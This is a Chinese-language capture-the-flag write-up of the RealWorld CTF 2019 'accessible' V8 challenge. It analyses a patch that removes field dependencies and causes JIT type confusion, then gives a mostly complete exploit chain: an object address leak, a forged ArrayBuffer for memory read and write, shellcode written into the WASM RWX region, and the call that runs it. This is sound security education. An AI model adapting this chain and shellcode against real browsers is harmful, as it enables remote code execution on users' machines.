v8 exploit - RealWorld CTF2019 accessible
字数 903 2025-08-26 22:11:22
V8 Exploit - RealWorld CTF2019 Accessible 漏洞分析与利用
漏洞概述
本漏洞涉及V8引擎中的dependency机制,由于patch文件删除了某些添加依赖(dependency)的代码,导致在生成的JIT代码中,即使某些元素类型发生了变化也不会触发deoptimize,从而导致type confusion。
调试环境搭建
git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
漏洞分析
Patch文件分析
关键修改位于src/compiler/access-info.cc文件中的ComputeDataFieldAccessInfo函数:
- 删除了两处
unrecorded_dependencies.push_back操作 - 将
constness始终赋值为PropertyConstness::kConst
- unrecorded_dependencies.push_back(
- dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
- descriptor));
+ // 删除了HeapObject类型的dependency添加
- unrecorded_dependencies.push_back(
- dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+ // 删除了FieldTypeDependency的添加
- constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+ constness = PropertyConstness::kConst; // 强制设置为kConst
Dependency机制
V8中有两种方式保证runtime优化代码中对类型假设的安全性:
- 通过添加
CheckMaps节点进行类型检查,类型不符时触发bail out - 通过dependency机制,将可能影响map假设的元素添加到dependencies中,检查这些dependency的改变来触发deoptimize
漏洞导致某些元素的改变不会被检测到,从而不会触发deoptimize,最终造成type confusion。
漏洞验证POC
var obj = {};
obj.c = {a: 1.1};
function leaker(o){
return o.c.a;
}
// 触发JIT编译
for (var i = 0; i < 0x4000; i++) {
leaker(obj);
}
// 改变对象类型
var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}
// 仍然返回double值(实际上是buf_to_leak的地址)
console.log(leaker(obj)); // 输出: 2.0289592652999e-310
注意:修改obj.c时不能使用同属性名(如{a: buf_to_leak}),因为仍然存在一些依赖会影响deoptimize。
漏洞利用
1. 对象地址泄露
var obj1 = {c: {x: 1.1}};
function leaker(o){
return o.c.x;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}
2. 伪造ArrayBuffer
JSArray内存布局
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+
使用splice使布局稳定:
var arr = [1.1, 2.2, 3.3].splice(0);
ArrayBuffer伪造
var fake_ab = [
// map|properties
mem.u2d(0x0), mem.u2d(0x0),
// elements|length
mem.u2d(0x0), mem.u2d(0x1000),
// backingstore|0x2
mem.u2d(0x0), mem.u2d(0x2),
// padding
mem.u2d(0x0), mem.u2d(0x0),
// fake map
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
].splice(0);
3. WASM获取RWX内存区域
const wasm_code = new Uint8Array([...]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
// WASM实例+0x80处存放RWX区域的地址
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80;
完整利用代码
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// 设置fake ArrayBuffer
var fake_ab = [
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x1000),
mem.u2d(0x0), mem.u2d(0x2),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
];
// 泄露fake_ab地址
fake_ab_addr = leak_obj(fake_ab) - 0x80;
fake_map_addr = fake_ab_addr + 0x40;
fake_ab[0] = mem.u2d(fake_map_addr);
// 获取RWX区域地址
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80;
fake_ab[4] = mem.u2d(rwx_area_loc);
// 获取伪造的ArrayBuffer
obj2.d = {z: mem.u2d(fake_ab_addr)};
real_ab = faker(obj2);
view = new DataView(real_ab);
rwx_area_addr = mem.d2u(view.getFloat64(0, true));
// 写入shellcode
fake_ab[4] = mem.u2d(rwx_area_addr);
for (i = 0; i < shellcode.length; i++){
view.setUint32(i * 4, shellcode[i], true);
}
// 执行shellcode
wasm_func();
关键点总结
- 漏洞源于dependency机制被破坏,导致类型变化不被检测
- 利用type confusion泄露对象地址
- 通过伪造ArrayBuffer实现任意内存读写
- 使用WASM获取RWX内存区域执行shellcode
- 注意JSArray和ArrayBuffer的内存布局差异
- 使用splice方法稳定内存布局